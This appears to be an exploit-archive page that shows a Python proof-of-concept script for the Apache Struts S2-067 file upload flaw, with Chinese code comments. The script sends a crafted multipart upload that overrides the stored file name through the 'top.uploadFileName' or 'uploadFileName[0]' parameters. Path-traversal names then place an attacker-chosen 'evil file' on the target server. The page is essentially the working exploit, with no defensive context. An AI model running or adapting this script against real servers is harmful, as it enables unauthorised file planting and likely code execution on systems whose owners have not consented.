4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / s2-067.py PY
import requests
import argparse
import os

def send_post_request(url, filename_value, file_path, file_type):
    # 读取文件内容
    with open(file_path, 'r') as f:
        file_content = f.read()

    # 设置请求头
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36',
    }

    # 设置 multipart/form-data
    files = {
        'Upload': (os.path.basename(file_path), file_content, 'text/html'),
    }
    
    # 设置字段参数,根据 -type 选择上传单文件还是多文件
    if file_type == 's':
        data = {
            'top.uploadFileName': filename_value,
        }
    elif file_type == 'm':
        data = {
            'uploadFileName[0]': filename_value,
        }
    else:
        raise ValueError("Invalid type, must be 's' for single or 'm' for multiple.")

    # 发送POST请求
    response = requests.post(url, headers=headers, files=files, data=data)
    
    # 输出响应结果
    print(f"Response Status Code: {response.status_code}")
    print(response.text)

def main():
    # 设置命令行参数
    parser = argparse.ArgumentParser(description='Send a POST request with file and form data.')
    parser.add_argument('-u', '--url', required=True, help='upload aciton url')
    parser.add_argument('-filename', required=True, help='filename with path traversal')
    parser.add_argument('-file', required=True, help='evil file to be uploaded')
    parser.add_argument('-type', choices=['s', 'm'], required=True, help="Type of upload: 's' for single file upload, 'm' for multiple files upload")

    # 解析参数
    args = parser.parse_args()

    # 发送POST请求
    send_post_request(args.url, args.filename, args.file, args.type)

if __name__ == '__main__':
    main()